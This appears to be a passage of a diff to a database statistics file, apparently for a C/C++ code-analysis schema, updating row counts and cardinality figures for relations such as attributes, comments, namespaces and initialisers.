- 741
- 54
+ 1091
+ 1092
+ 124
- 2536
- 2537
- 54
+ 1325
+ 1326
+ 124
- 6049
- 6050
- 54
+ 2236
+ 2237
+ 124
- 10872
- 10873
- 54
+ 2761
+ 2762
+ 124
- 32449
- 32450
- 54
+ 3436
+ 3437
+ 124
+
+
+ 4931
+ 4932
+ 124
+
+
+ 8482
+ 8483
+ 124
@@ -27066,15 +26905,15 @@
explicit_specifier_exprs
- 44536
+ 41240
func_id
- 44536
+ 41240
constant
- 44536
+ 41240
@@ -27088,7 +26927,7 @@
1
2
- 44536
+ 41240
@@ -27104,7 +26943,7 @@
1
2
- 44536
+ 41240
@@ -27114,27 +26953,27 @@
attributes
- 629835
+ 649382
id
- 629835
+ 649382
kind
- 403
+ 373
name
- 2152
+ 2118
name_space
- 269
+ 249
location
- 623376
+ 643277
@@ -27148,7 +26987,7 @@
1
2
- 629835
+ 649382
@@ -27164,7 +27003,7 @@
1
2
- 629835
+ 649382
@@ -27180,7 +27019,7 @@
1
2
- 629835
+ 649382
@@ -27196,7 +27035,7 @@
1
2
- 629835
+ 649382
@@ -27210,19 +27049,19 @@
12
- 4
- 5
- 134
+ 7
+ 8
+ 124
- 2103
- 2104
- 134
+ 2402
+ 2403
+ 124
- 2574
- 2575
- 134
+ 2803
+ 2804
+ 124
@@ -27238,17 +27077,17 @@
1
2
- 134
+ 124
6
7
- 134
+ 124
- 11
- 12
- 134
+ 12
+ 13
+ 124
@@ -27264,12 +27103,12 @@
1
2
- 269
+ 249
2
3
- 134
+ 124
@@ -27283,19 +27122,19 @@
12
- 2
- 3
- 134
+ 4
+ 5
+ 124
- 2057
- 2058
- 134
+ 2356
+ 2357
+ 124
- 2574
- 2575
- 134
+ 2803
+ 2804
+ 124
@@ -27311,222 +27150,242 @@
1
2
- 403
-
-
- 2
- 3
- 134
-
-
- 4
- 5
- 269
-
-
- 6
- 7
- 134
-
-
- 8
- 9
- 134
-
-
- 9
- 10
- 134
-
-
- 14
- 15
- 134
-
-
- 18
- 19
- 134
-
-
- 59
- 60
- 134
-
-
- 72
- 73
- 134
-
-
- 338
- 339
- 134
-
-
- 1756
- 1757
- 134
-
-
- 2388
- 2389
- 134
-
-
-
-
-
-
- name
- kind
-
-
- 12
-
-
- 1
- 2
- 1883
-
-
- 2
- 3
- 269
-
-
-
-
-
-
- name
- name_space
-
-
- 12
-
-
- 1
- 2
- 2152
-
-
-
-
-
-
- name
- location
-
-
- 12
-
-
- 1
- 2
- 403
-
-
- 2
- 3
- 269
-
-
- 4
- 5
- 134
-
-
- 6
- 7
- 134
-
-
- 8
- 9
- 134
-
-
- 9
- 10
- 134
-
-
- 14
- 15
- 134
-
-
- 18
- 19
- 134
-
-
- 59
- 60
- 134
-
-
- 72
- 73
- 134
-
-
- 333
- 334
- 134
-
-
- 1756
- 1757
- 134
-
-
- 2388
- 2389
- 134
-
-
-
-
-
-
- name_space
- id
-
-
- 12
-
-
- 9
- 10
- 134
-
-
- 4672
- 4673
- 134
-
-
-
-
-
-
- name_space
- kind
-
-
- 12
-
-
- 1
- 2
- 134
+ 249
3
4
- 134
+ 124
+
+
+ 6
+ 7
+ 124
+
+
+ 7
+ 8
+ 124
+
+
+ 8
+ 9
+ 124
+
+
+ 10
+ 11
+ 249
+
+
+ 14
+ 15
+ 124
+
+
+ 18
+ 19
+ 124
+
+
+ 24
+ 25
+ 124
+
+
+ 55
+ 56
+ 124
+
+
+ 62
+ 63
+ 124
+
+
+ 72
+ 73
+ 124
+
+
+ 340
+ 341
+ 124
+
+
+ 1977
+ 1978
+ 124
+
+
+ 2604
+ 2605
+ 124
+
+
+
+
+
+
+ name
+ kind
+
+
+ 12
+
+
+ 1
+ 2
+ 1868
+
+
+ 2
+ 3
+ 249
+
+
+
+
+
+
+ name
+ name_space
+
+
+ 12
+
+
+ 1
+ 2
+ 2118
+
+
+
+
+
+
+ name
+ location
+
+
+ 12
+
+
+ 1
+ 2
+ 249
+
+
+ 3
+ 4
+ 124
+
+
+ 4
+ 5
+ 124
+
+
+ 6
+ 7
+ 124
+
+
+ 8
+ 9
+ 124
+
+
+ 10
+ 11
+ 249
+
+
+ 14
+ 15
+ 124
+
+
+ 18
+ 19
+ 124
+
+
+ 24
+ 25
+ 124
+
+
+ 55
+ 56
+ 124
+
+
+ 62
+ 63
+ 124
+
+
+ 72
+ 73
+ 124
+
+
+ 335
+ 336
+ 124
+
+
+ 1977
+ 1978
+ 124
+
+
+ 2604
+ 2605
+ 124
+
+
+
+
+
+
+ name_space
+ id
+
+
+ 12
+
+
+ 11
+ 12
+ 124
+
+
+ 5201
+ 5202
+ 124
+
+
+
+
+
+
+ name_space
+ kind
+
+
+ 12
+
+
+ 1
+ 2
+ 124
+
+
+ 3
+ 4
+ 124
@@ -27542,12 +27401,12 @@
2
3
- 134
+ 124
- 14
- 15
- 134
+ 15
+ 16
+ 124
@@ -27561,14 +27420,14 @@
12
- 9
- 10
- 134
+ 11
+ 12
+ 124
- 4624
- 4625
- 134
+ 5152
+ 5153
+ 124
@@ -27584,12 +27443,12 @@
1
2
- 617052
+ 637421
2
- 4
- 6323
+ 5
+ 5855
@@ -27605,7 +27464,7 @@
1
2
- 623376
+ 643277
@@ -27621,12 +27480,12 @@
1
2
- 617859
+ 638169
2
3
- 5516
+ 5108
@@ -27642,7 +27501,7 @@
1
2
- 623376
+ 643277
@@ -27652,27 +27511,27 @@
attribute_args
- 98921
+ 96265
id
- 98921
+ 96265
kind
- 54
+ 52
attribute
- 85298
+ 83065
index
- 67
+ 65
location
- 91906
+ 89500
@@ -27686,7 +27545,7 @@
1
2
- 98921
+ 96265
@@ -27702,7 +27561,7 @@
1
2
- 98921
+ 96265
@@ -27718,7 +27577,7 @@
1
2
- 98921
+ 96265
@@ -27734,7 +27593,7 @@
1
2
- 98921
+ 96265
@@ -27763,8 +27622,8 @@
13
- 6602
- 6603
+ 6597
+ 6598
13
@@ -27812,7 +27671,7 @@
1
2
- 27
+ 26
4
@@ -27869,17 +27728,17 @@
1
2
- 77308
+ 75350
2
4
- 6635
+ 6395
4
18
- 1354
+ 1318
@@ -27895,12 +27754,12 @@
1
2
- 82996
+ 80823
2
3
- 2302
+ 2241
@@ -27916,12 +27775,12 @@
1
2
- 79015
+ 76946
2
6
- 6283
+ 6118
@@ -27937,12 +27796,12 @@
1
2
- 80626
+ 78515
2
6
- 4671
+ 4549
@@ -27976,8 +27835,8 @@
13
- 6485
- 6486
+ 6480
+ 6481
13
@@ -27999,7 +27858,7 @@
2
3
- 40
+ 39
4
@@ -28092,12 +27951,12 @@
1
2
- 89455
+ 87179
2
23
- 2451
+ 2320
@@ -28113,12 +27972,12 @@
1
2
- 91690
+ 89289
2
3
- 216
+ 210
@@ -28134,12 +27993,12 @@
1
2
- 91500
+ 89105
2
18
- 406
+ 395
@@ -28155,12 +28014,12 @@
1
2
- 91351
+ 88960
2
3
- 555
+ 540
@@ -28170,15 +28029,15 @@
attribute_arg_value
- 21022
+ 20935
arg
- 21022
+ 20935
value
- 643
+ 640
@@ -28192,7 +28051,7 @@
1
2
- 21022
+ 20935
@@ -28208,7 +28067,7 @@
1
2
- 257
+ 256
5
@@ -28263,15 +28122,15 @@
attribute_arg_type
- 466
+ 461
arg
- 466
+ 461
type_id
- 85
+ 84
@@ -28285,7 +28144,7 @@
1
2
- 466
+ 461
@@ -28326,15 +28185,15 @@
attribute_arg_constant
- 89401
+ 86995
arg
- 89401
+ 86995
constant
- 89401
+ 86995
@@ -28348,7 +28207,7 @@
1
2
- 89401
+ 86995
@@ -28364,7 +28223,7 @@
1
2
- 89401
+ 86995
@@ -28374,15 +28233,15 @@
attribute_arg_expr
- 1801
+ 1753
arg
- 1801
+ 1753
expr
- 1801
+ 1753
@@ -28396,7 +28255,7 @@
1
2
- 1801
+ 1753
@@ -28412,7 +28271,7 @@
1
2
- 1801
+ 1753
@@ -28475,15 +28334,15 @@
typeattributes
- 84498
+ 91950
type_id
- 83960
+ 90330
spec_id
- 26910
+ 29154
@@ -28497,12 +28356,12 @@
1
2
- 83421
+ 88710
2
3
- 538
+ 1619
@@ -28518,22 +28377,17 @@
1
2
- 22200
+ 24669
2
- 5
- 2152
+ 7
+ 2242
- 5
- 23
- 1883
-
-
- 57
+ 7
58
- 672
+ 2242
@@ -28543,15 +28397,15 @@
funcattributes
- 824934
+ 842627
func_id
- 776496
+ 797898
spec_id
- 598619
+ 615493
@@ -28565,12 +28419,12 @@
1
2
- 732901
+ 757654
2
7
- 43594
+ 40243
@@ -28586,12 +28440,12 @@
1
2
- 555024
+ 569892
2
- 202
- 43594
+ 213
+ 45601
@@ -28664,15 +28518,15 @@
stmtattributes
- 2374
+ 2371
stmt_id
- 2374
+ 2371
spec_id
- 599
+ 598
@@ -28686,7 +28540,7 @@
1
2
- 2374
+ 2371
@@ -28732,15 +28586,15 @@
unspecifiedtype
- 8343173
+ 8145616
type_id
- 8343173
+ 8145616
unspecified_type_id
- 4797160
+ 4690378
@@ -28754,7 +28608,7 @@
1
2
- 8343173
+ 8145616
@@ -28770,17 +28624,17 @@
1
2
- 3197208
+ 3130941
2
3
- 1308496
+ 1275559
3
- 6271
- 291455
+ 6277
+ 283878
@@ -28790,19 +28644,19 @@
member
- 4680740
+ 4659693
parent
- 561651
+ 559011
index
- 10725
+ 10681
child
- 4563699
+ 4543140
@@ -28816,52 +28670,52 @@
1
2
- 232880
+ 232892
2
3
- 25913
+ 24524
3
4
- 29388
+ 29266
4
5
- 37712
+ 37555
5
7
- 47794
+ 47595
7
11
- 43289
+ 43109
11
14
- 41702
+ 41528
14
19
- 45306
+ 45117
19
53
- 42260
+ 42083
53
251
- 15402
+ 15338
@@ -28877,52 +28731,52 @@
1
2
- 232752
+ 232764
2
3
- 26042
+ 24652
3
4
- 29431
+ 29309
4
5
- 37798
+ 37640
5
7
- 47580
+ 47381
7
11
- 43718
+ 43536
11
14
- 41616
+ 41443
14
19
- 45091
+ 44903
19
53
- 42260
+ 42083
53
255
- 15359
+ 15295
@@ -28938,57 +28792,57 @@
1
2
- 2831
+ 2819
2
4
- 815
+ 811
4
22
- 815
+ 811
22
31
- 815
+ 811
31
53
- 858
+ 854
53
108
- 815
+ 811
110
218
- 815
+ 811
223
328
- 815
+ 811
328
581
- 815
+ 811
653
2518
- 815
+ 811
- 2884
- 12742
- 514
+ 2899
+ 12735
+ 512
@@ -29004,61 +28858,61 @@
1
2
- 1759
+ 1751
2
3
- 1372
+ 1367
3
8
- 815
+ 811
8
31
- 858
+ 854
31
41
- 858
+ 854
41
97
- 815
+ 811
97
161
- 815
+ 811
164
314
- 858
+ 854
318
386
- 815
+ 811
435
1127
- 815
+ 811
- 1139
+ 1145
6168
- 815
+ 811
- 6500
- 12754
+ 6496
+ 12747
128
@@ -29075,7 +28929,7 @@
1
2
- 4563699
+ 4543140
@@ -29091,12 +28945,12 @@
1
2
- 4475961
+ 4455767
2
13
- 87737
+ 87372
@@ -29106,15 +28960,15 @@
enclosingfunction
- 144585
+ 143982
child
- 144585
+ 143982
parent
- 89840
+ 89465
@@ -29128,7 +28982,7 @@
1
2
- 144585
+ 143982
@@ -29144,22 +28998,22 @@
1
2
- 62124
+ 61865
2
3
- 5834
+ 5810
3
4
- 19349
+ 19268
4
37
- 2531
+ 2520
@@ -29169,27 +29023,27 @@
derivations
- 599063
+ 598061
derivation
- 599063
+ 598061
sub
- 571690
+ 570803
index
- 300
+ 299
super
- 295648
+ 295399
location
- 44576
+ 44391
@@ -29203,7 +29057,7 @@
1
2
- 599063
+ 598061
@@ -29219,7 +29073,7 @@
1
2
- 599063
+ 598061
@@ -29235,7 +29089,7 @@
1
2
- 599063
+ 598061
@@ -29251,7 +29105,7 @@
1
2
- 599063
+ 598061
@@ -29267,12 +29121,12 @@
1
2
- 550882
+ 550081
2
9
- 20808
+ 20721
@@ -29288,12 +29142,12 @@
1
2
- 550882
+ 550081
2
8
- 20808
+ 20721
@@ -29309,12 +29163,12 @@
1
2
- 550882
+ 550081
2
9
- 20808
+ 20721
@@ -29330,12 +29184,12 @@
1
2
- 550882
+ 550081
2
8
- 20808
+ 20721
@@ -29369,8 +29223,8 @@
42
- 13325
- 13326
+ 13360
+ 13361
42
@@ -29387,7 +29241,7 @@
25
26
- 171
+ 170
52
@@ -29400,8 +29254,8 @@
42
- 13325
- 13326
+ 13360
+ 13361
42
@@ -29441,8 +29295,8 @@
42
- 6487
- 6488
+ 6510
+ 6511
42
@@ -29459,7 +29313,7 @@
1
2
- 171
+ 170
7
@@ -29490,12 +29344,12 @@
1
2
- 283549
+ 283094
2
1655
- 12098
+ 12304
@@ -29511,12 +29365,12 @@
1
2
- 283549
+ 283094
2
1655
- 12098
+ 12304
@@ -29532,12 +29386,12 @@
1
2
- 295090
+ 294843
2
4
- 557
+ 555
@@ -29553,12 +29407,12 @@
1
2
- 289127
+ 288691
2
81
- 6521
+ 6707
@@ -29574,27 +29428,27 @@
1
2
- 33464
+ 33239
2
5
- 3990
+ 3930
5
22
- 3389
+ 3460
- 23
+ 22
383
- 3346
+ 3375
388
928
- 386
+ 384
@@ -29610,27 +29464,27 @@
1
2
- 33464
+ 33239
2
5
- 3990
+ 3930
5
22
- 3389
+ 3460
- 23
+ 22
383
- 3346
+ 3375
388
928
- 386
+ 384
@@ -29646,7 +29500,7 @@
1
2
- 44576
+ 44391
@@ -29662,22 +29516,22 @@
1
2
- 36253
+ 36016
2
4
- 3303
+ 3289
4
26
- 3475
+ 3546
26
928
- 1544
+ 1538
@@ -29687,15 +29541,15 @@
derspecifiers
- 601293
+ 600283
der_id
- 598505
+ 597506
spec_id
- 171
+ 170
@@ -29709,12 +29563,12 @@
1
2
- 595716
+ 594729
2
3
- 2788
+ 2777
@@ -29743,8 +29597,8 @@
42
- 12754
- 12755
+ 12789
+ 12790
42
@@ -29755,15 +29609,15 @@
direct_base_offsets
- 565169
+ 564308
der_id
- 565169
+ 564308
offset
- 643
+ 640
@@ -29777,7 +29631,7 @@
1
2
- 565169
+ 564308
@@ -29798,7 +29652,7 @@
2
3
- 171
+ 170
3
@@ -29826,8 +29680,8 @@
42
- 13023
- 13024
+ 13058
+ 13059
42
@@ -29838,11 +29692,11 @@
virtual_base_offsets
- 7336
+ 7305
sub
- 7336
+ 7305
super
@@ -29850,7 +29704,7 @@
offset
- 429
+ 427
@@ -29864,7 +29718,7 @@
1
2
- 7336
+ 7305
@@ -29880,7 +29734,7 @@
1
2
- 7336
+ 7305
@@ -29938,7 +29792,7 @@
2
3
- 386
+ 384
153
@@ -29964,7 +29818,7 @@
2
3
- 386
+ 384
@@ -29974,23 +29828,23 @@
frienddecls
- 881497
+ 881070
id
- 881497
+ 881070
type_id
- 53414
+ 53192
decl_id
- 98034
+ 97497
location
- 7679
+ 7647
@@ -30004,7 +29858,7 @@
1
2
- 881497
+ 881070
@@ -30020,7 +29874,7 @@
1
2
- 881497
+ 881070
@@ -30036,7 +29890,7 @@
1
2
- 881497
+ 881070
@@ -30052,47 +29906,47 @@
1
2
- 7808
+ 7733
2
3
- 17590
+ 17517
3
7
- 4504
+ 4229
7
- 12
- 4333
+ 11
+ 4187
- 12
+ 11
20
- 4547
+ 4571
20
- 32
- 4161
+ 31
+ 4016
- 33
- 50
- 4762
+ 31
+ 43
+ 4144
- 50
- 80
- 4762
+ 43
+ 78
+ 3887
- 101
+ 79
120
- 943
+ 2905
@@ -30108,47 +29962,47 @@
1
2
- 7808
+ 7733
2
3
- 17590
+ 17517
3
7
- 4504
+ 4229
7
- 12
- 4333
+ 11
+ 4187
- 12
+ 11
20
- 4547
+ 4571
20
- 32
- 4161
+ 31
+ 4016
- 33
- 50
- 4762
+ 31
+ 43
+ 4144
- 50
- 80
- 4762
+ 43
+ 78
+ 3887
- 101
+ 79
120
- 943
+ 2905
@@ -30164,12 +30018,12 @@
1
2
- 51698
+ 51483
2
13
- 1716
+ 1708
@@ -30185,32 +30039,32 @@
1
2
- 60579
+ 59900
2
3
- 7465
+ 7733
3
8
- 7551
+ 7775
8
- 15
- 7636
+ 16
+ 7476
- 15
+ 16
40
- 7636
+ 7391
40
164
- 7164
+ 7220
@@ -30226,32 +30080,32 @@
1
2
- 60579
+ 59900
2
3
- 7465
+ 7733
3
8
- 7551
+ 7775
8
- 15
- 7636
+ 16
+ 7476
- 15
+ 16
40
- 7636
+ 7391
40
164
- 7164
+ 7220
@@ -30267,12 +30121,12 @@
1
2
- 97176
+ 96643
2
5
- 858
+ 854
@@ -30288,12 +30142,12 @@
1
2
- 7207
+ 7177
2
- 20357
- 471
+ 20433
+ 469
@@ -30309,12 +30163,12 @@
1
2
- 7508
+ 7476
2
1148
- 171
+ 170
@@ -30330,12 +30184,12 @@
1
2
- 7250
+ 7220
2
- 2132
- 429
+ 2129
+ 427
@@ -30345,19 +30199,19 @@
comments
- 11290475
+ 11190891
id
- 11290475
+ 11190891
contents
- 4299185
+ 4279921
location
- 11290475
+ 11190891
@@ -30371,7 +30225,7 @@
1
2
- 11290475
+ 11190891
@@ -30387,7 +30241,7 @@
1
2
- 11290475
+ 11190891
@@ -30403,17 +30257,17 @@
1
2
- 3932802
+ 3906888
2
- 7
- 323192
+ 6
+ 321078
- 7
- 32784
- 43190
+ 6
+ 34359
+ 51955
@@ -30429,17 +30283,17 @@
1
2
- 3932802
+ 3906888
2
- 7
- 323192
+ 6
+ 321078
- 7
- 32784
- 43190
+ 6
+ 34359
+ 51955
@@ -30455,7 +30309,7 @@
1
2
- 11290475
+ 11190891
@@ -30471,7 +30325,7 @@
1
2
- 11290475
+ 11190891
@@ -30481,15 +30335,15 @@
commentbinding
- 3316691
+ 3828144
id
- 3263140
+ 3342602
element
- 3173663
+ 3662559
@@ -30503,12 +30357,12 @@
1
2
- 3231385
+ 3286535
2
- 85
- 31754
+ 1706
+ 56067
@@ -30524,12 +30378,12 @@
1
2
- 3030635
+ 3496974
2
3
- 143028
+ 165585
@@ -30539,15 +30393,15 @@
exprconv
- 9605400
+ 9607944
converted
- 9605295
+ 9607839
conversion
- 9605400
+ 9607944
@@ -30561,7 +30415,7 @@
1
2
- 9605190
+ 9607734
2
@@ -30582,7 +30436,7 @@
1
2
- 9605400
+ 9607944
@@ -30592,22 +30446,22 @@
compgenerated
- 10710519
+ 10701576
id
- 10710519
+ 10701576
synthetic_destructor_call
- 1791215
+ 1788902
element
- 1333971
+ 1332248
i
@@ -30615,7 +30469,7 @@
destructor_call
- 1791215
+ 1788902
@@ -30629,17 +30483,17 @@
1
2
- 887930
+ 886784
2
3
- 438754
+ 438188
3
19
- 7285
+ 7275
@@ -30655,17 +30509,17 @@
1
2
- 887930
+ 886784
2
3
- 438754
+ 438188
3
19
- 7285
+ 7275
@@ -30813,7 +30667,7 @@
1
2
- 1791215
+ 1788902
@@ -30829,7 +30683,7 @@
1
2
- 1791215
+ 1788902
@@ -30839,15 +30693,15 @@
namespaces
- 11090
+ 10800
id
- 11090
+ 10800
name
- 5863
+ 5710
@@ -30861,7 +30715,7 @@
1
2
- 11090
+ 10800
@@ -30877,17 +30731,17 @@
1
2
- 4793
+ 4668
2
3
- 677
+ 659
3
149
- 392
+ 382
@@ -30897,26 +30751,26 @@
namespace_inline
- 538
+ 498
id
- 538
+ 498
namespacembrs
- 2024859
+ 2036610
parentid
- 10359
+ 3987
memberid
- 2024859
+ 2036610
@@ -30930,67 +30784,67 @@
1
2
- 1123
+ 498
2
3
- 988
+ 249
3
4
- 555
+ 498
4
5
- 771
+ 622
5
- 8
- 893
+ 10
+ 249
- 8
- 14
- 893
+ 10
+ 12
+ 249
- 14
- 22
- 812
+ 12
+ 18
+ 249
- 22
- 37
- 798
+ 19
+ 21
+ 249
- 37
- 57
- 798
+ 23
+ 24
+ 249
- 57
- 118
- 785
+ 25
+ 29
+ 249
- 118
- 255
- 812
+ 70
+ 83
+ 249
- 256
- 828
- 785
+ 165
+ 170
+ 249
- 829
- 42759
- 338
+ 15618
+ 15619
+ 124
@@ -31006,7 +30860,7 @@
1
2
- 2024859
+ 2036610
@@ -31016,19 +30870,19 @@
exprparents
- 19397147
+ 19402287
expr_id
- 19397147
+ 19402287
child_index
- 19976
+ 19981
parent_id
- 12902028
+ 12905447
@@ -31042,7 +30896,7 @@
1
2
- 19397147
+ 19402287
@@ -31058,7 +30912,7 @@
1
2
- 19397147
+ 19402287
@@ -31074,7 +30928,7 @@
1
2
- 3843
+ 3844
2
@@ -31089,7 +30943,7 @@
4
5
- 8950
+ 8952
5
@@ -31125,7 +30979,7 @@
1
2
- 3843
+ 3844
2
@@ -31140,7 +30994,7 @@
4
5
- 8950
+ 8952
5
@@ -31176,17 +31030,17 @@
1
2
- 7373064
+ 7375018
2
3
- 5067770
+ 5069113
3
712
- 461193
+ 461315
@@ -31202,17 +31056,17 @@
1
2
- 7373064
+ 7375018
2
3
- 5067770
+ 5069113
3
712
- 461193
+ 461315
@@ -31222,22 +31076,22 @@
expr_isload
- 6961688
+ 6834842
expr_id
- 6961688
+ 6834842
conversionkinds
- 6048227
+ 6050434
expr_id
- 6048227
+ 6050434
kind
@@ -31255,7 +31109,7 @@
1
2
- 6048227
+ 6050434
@@ -31294,13 +31148,13 @@
1
- 92803
- 92804
+ 93247
+ 93248
1
- 5829772
- 5829773
+ 5831535
+ 5831536
1
@@ -31311,11 +31165,11 @@
iscall
- 6218005
+ 6209630
caller
- 6218005
+ 6209630
kind
@@ -31333,7 +31187,7 @@
1
2
- 6218005
+ 6209630
@@ -31357,8 +31211,8 @@
23
- 268068
- 268069
+ 268053
+ 268054
23
@@ -31369,15 +31223,15 @@
numtemplatearguments
- 722410
+ 719399
expr_id
- 722410
+ 719399
num
- 386
+ 384
@@ -31391,7 +31245,7 @@
1
2
- 722410
+ 719399
@@ -31452,15 +31306,15 @@
specialnamequalifyingelements
- 134
+ 124
id
- 134
+ 124
name
- 134
+ 124
@@ -31474,7 +31328,7 @@
1
2
- 134
+ 124
@@ -31490,7 +31344,7 @@
1
2
- 134
+ 124
@@ -31500,23 +31354,23 @@
namequalifiers
- 3257060
+ 3255225
id
- 3257060
+ 3255225
qualifiableelement
- 3257060
+ 3255225
qualifyingelement
- 50397
+ 50816
location
- 591677
+ 591189
@@ -31530,7 +31384,7 @@
1
2
- 3257060
+ 3255225
@@ -31546,7 +31400,7 @@
1
2
- 3257060
+ 3255225
@@ -31562,7 +31416,7 @@
1
2
- 3257060
+ 3255225
@@ -31578,7 +31432,7 @@
1
2
- 3257060
+ 3255225
@@ -31594,7 +31448,7 @@
1
2
- 3257060
+ 3255225
@@ -31610,7 +31464,7 @@
1
2
- 3257060
+ 3255225
@@ -31626,27 +31480,27 @@
1
2
- 33821
+ 33754
2
3
- 8414
+ 8749
3
5
- 4265
+ 4397
5
- 1601
- 3780
+ 6810
+ 3822
- 6807
+ 19018
41956
- 115
+ 92
@@ -31662,27 +31516,27 @@
1
2
- 33821
+ 33754
2
3
- 8414
+ 8749
3
5
- 4265
+ 4397
5
- 1601
- 3780
+ 6810
+ 3822
- 6807
+ 19018
41956
- 115
+ 92
@@ -31698,22 +31552,22 @@
1
2
- 36703
+ 36816
2
3
- 7585
+ 7874
3
6
- 3780
+ 3822
6
20057
- 2328
+ 2302
@@ -31729,22 +31583,22 @@
1
2
- 84956
+ 84708
2
6
- 40553
+ 40754
6
7
- 427642
+ 426975
7
192
- 38524
+ 38751
@@ -31760,22 +31614,22 @@
1
2
- 84956
+ 84708
2
6
- 40553
+ 40754
6
7
- 427642
+ 426975
7
192
- 38524
+ 38751
@@ -31791,22 +31645,22 @@
1
2
- 119308
+ 119361
2
4
- 14247
+ 14229
4
5
- 445072
+ 444428
5
33
- 13048
+ 13170
@@ -31816,15 +31670,15 @@
varbind
- 8230416
+ 8232597
expr
- 8230416
+ 8232597
var
- 1047294
+ 1047572
@@ -31838,7 +31692,7 @@
1
2
- 8230416
+ 8232597
@@ -31854,52 +31708,52 @@
1
2
- 171032
+ 171078
2
3
- 188147
+ 188197
3
4
- 145220
+ 145259
4
5
- 116294
+ 116325
5
6
- 82907
+ 82929
6
7
- 65624
+ 65641
7
9
- 80578
+ 80599
9
13
- 81335
+ 81357
13
27
- 78895
+ 78915
27
5137
- 37259
+ 37268
@@ -31909,15 +31763,15 @@
funbind
- 6228425
+ 6220037
expr
- 6225774
+ 6217389
fun
- 295469
+ 295295
@@ -31931,12 +31785,12 @@
1
2
- 6223123
+ 6214741
2
3
- 2651
+ 2647
@@ -31952,27 +31806,27 @@
1
2
- 194282
+ 194169
2
3
- 41544
+ 41560
3
4
- 18397
+ 18396
4
8
- 24368
+ 24337
8
37798
- 16876
+ 16831
@@ -31982,11 +31836,11 @@
expr_allocator
- 56975
+ 56738
expr
- 56975
+ 56738
func
@@ -32008,7 +31862,7 @@
1
2
- 56975
+ 56738
@@ -32024,7 +31878,7 @@
1
2
- 56975
+ 56738
@@ -32108,11 +31962,11 @@
expr_deallocator
- 67787
+ 67505
expr
- 67787
+ 67505
func
@@ -32134,7 +31988,7 @@
1
2
- 67787
+ 67505
@@ -32150,7 +32004,7 @@
1
2
- 67787
+ 67505
@@ -32255,15 +32109,15 @@
expr_cond_guard
- 895300
+ 895536
cond
- 895300
+ 895536
guard
- 895300
+ 895536
@@ -32277,7 +32131,7 @@
1
2
- 895300
+ 895536
@@ -32293,7 +32147,7 @@
1
2
- 895300
+ 895536
@@ -32303,15 +32157,15 @@
expr_cond_true
- 895297
+ 895532
cond
- 895297
+ 895532
true
- 895297
+ 895532
@@ -32325,7 +32179,7 @@
1
2
- 895297
+ 895532
@@ -32341,7 +32195,7 @@
1
2
- 895297
+ 895532
@@ -32351,15 +32205,15 @@
expr_cond_false
- 895300
+ 895536
cond
- 895300
+ 895536
false
- 895300
+ 895536
@@ -32373,7 +32227,7 @@
1
2
- 895300
+ 895536
@@ -32389,7 +32243,7 @@
1
2
- 895300
+ 895536
@@ -32399,15 +32253,15 @@
values
- 13198553
+ 13438637
id
- 13198553
+ 13438637
str
- 113721
+ 114260
@@ -32421,7 +32275,7 @@
1
2
- 13198553
+ 13438637
@@ -32437,27 +32291,27 @@
1
2
- 78593
+ 78093
2
3
- 15419
+ 15260
3
- 7
- 9741
+ 6
+ 8871
- 7
- 351
- 8529
+ 6
+ 52
+ 8605
- 352
- 660247
- 1436
+ 52
+ 674264
+ 3428
@@ -32467,15 +32321,15 @@
valuetext
- 6605633
+ 6647443
id
- 6605633
+ 6647443
text
- 1095233
+ 1095411
@@ -32489,7 +32343,7 @@
1
2
- 6605633
+ 6647443
@@ -32505,22 +32359,22 @@
1
2
- 839851
+ 833985
2
3
- 144290
+ 146940
3
7
- 83532
+ 86536
7
- 593269
- 27560
+ 593553
+ 27950
@@ -32530,15 +32384,15 @@
valuebind
- 13543087
+ 13546930
val
- 13198553
+ 13438637
expr
- 13543087
+ 13546930
@@ -32552,12 +32406,12 @@
1
2
- 12873876
+ 13348324
2
6
- 324676
+ 90312
@@ -32573,7 +32427,7 @@
1
2
- 13543087
+ 13546930
@@ -32583,19 +32437,19 @@
fieldoffsets
- 1441877
+ 1489415
id
- 1441877
+ 1489415
byteoffset
- 31022
+ 31293
bitoffset
- 436
+ 434
@@ -32609,7 +32463,7 @@
1
2
- 1441877
+ 1489415
@@ -32625,7 +32479,7 @@
1
2
- 1441877
+ 1489415
@@ -32641,37 +32495,37 @@
1
2
- 17805
+ 17656
2
3
- 2348
+ 2444
3
5
- 2457
+ 2662
5
12
- 2621
+ 2607
12
- 35
- 2348
+ 34
+ 2390
- 35
- 205
- 2348
+ 34
+ 198
+ 2390
- 244
- 5639
- 1092
+ 209
+ 5931
+ 1140
@@ -32687,12 +32541,12 @@
1
2
- 30093
+ 30315
2
9
- 928
+ 977
@@ -32706,18 +32560,8 @@
12
- 29
- 30
- 54
-
-
- 30
- 31
- 54
-
-
- 33
- 34
+ 35
+ 36
54
@@ -32725,24 +32569,34 @@
37
54
-
- 42
- 43
- 54
-
43
44
54
- 55
- 56
+ 46
+ 47
54
- 26132
- 26133
+ 50
+ 51
+ 54
+
+
+ 63
+ 64
+ 54
+
+
+ 79
+ 80
+ 54
+
+
+ 27063
+ 27064
54
@@ -32756,24 +32610,24 @@
12
-
- 11
- 12
- 218
-
12
13
- 109
+ 162
13
14
- 54
+ 108
- 568
- 569
+ 14
+ 15
+ 108
+
+
+ 576
+ 577
54
@@ -32784,19 +32638,19 @@
bitfield
- 26910
+ 30276
id
- 26910
+ 30276
bits
- 3363
+ 3488
declared_bits
- 3363
+ 3488
@@ -32810,7 +32664,7 @@
1
2
- 26910
+ 30276
@@ -32826,7 +32680,7 @@
1
2
- 26910
+ 30276
@@ -32842,42 +32696,42 @@
1
2
- 941
+ 996
2
3
- 807
+ 747
3
4
- 269
+ 249
4
5
- 269
+ 498
5
- 6
- 269
-
-
- 6
- 8
- 269
+ 7
+ 249
8
- 11
- 269
+ 9
+ 249
- 12
- 115
- 269
+ 9
+ 11
+ 249
+
+
+ 13
+ 143
+ 249
@@ -32893,7 +32747,7 @@
1
2
- 3363
+ 3488
@@ -32909,42 +32763,42 @@
1
2
- 941
+ 996
2
3
- 807
+ 747
3
4
- 269
+ 249
4
5
- 269
+ 498
5
- 6
- 269
-
-
- 6
- 8
- 269
+ 7
+ 249
8
- 11
- 269
+ 9
+ 249
- 12
- 115
- 269
+ 9
+ 11
+ 249
+
+
+ 13
+ 143
+ 249
@@ -32960,7 +32814,7 @@
1
2
- 3363
+ 3488
@@ -32970,23 +32824,23 @@
initialisers
- 2336741
+ 2334426
init
- 2336741
+ 2334426
var
- 983120
+ 988524
expr
- 2336741
+ 2334426
location
- 539051
+ 537812
@@ -33000,7 +32854,7 @@
1
2
- 2336741
+ 2334426
@@ -33016,7 +32870,7 @@
1
2
- 2336741
